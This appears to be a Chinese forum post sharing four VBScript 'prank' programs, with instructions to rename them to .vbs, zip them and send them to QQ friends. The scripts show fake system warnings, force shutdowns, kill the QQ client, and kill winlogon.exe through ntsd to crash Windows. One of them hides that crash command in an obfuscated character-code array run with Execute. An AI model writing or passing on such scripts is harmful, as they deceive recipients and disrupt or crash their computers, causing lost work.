整人小程序

把程序代码复制到文本文档里，再把扩展名.txt改为.vbs就可以了。不要一个文档里都放，一个文档里放一个就成了。然后压缩后发给QQ好友。。。。下面就是代码。。不解释，自己弄。


第一个
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if

第二个
这个很强悍的vbs,蓝屏
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner


第三个

if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if

第四个

for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30
ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"你还要上吧 慢慢玩哦",27
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 4
WSHshell.SendKeys "%{F4}"
next
ws.run"shutdown -s -t 1000600"
wscript.sleep 2000
dim a
do
a=inputbox("请输入解除关机密码")
if a="403746401" then
ws.run"shutdown -a"
msgbox"密码验证成功，en

joy the best!"
exit do
else
msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel
end if
loop
ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57
ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示："
wscript.sleep 1000*45
loop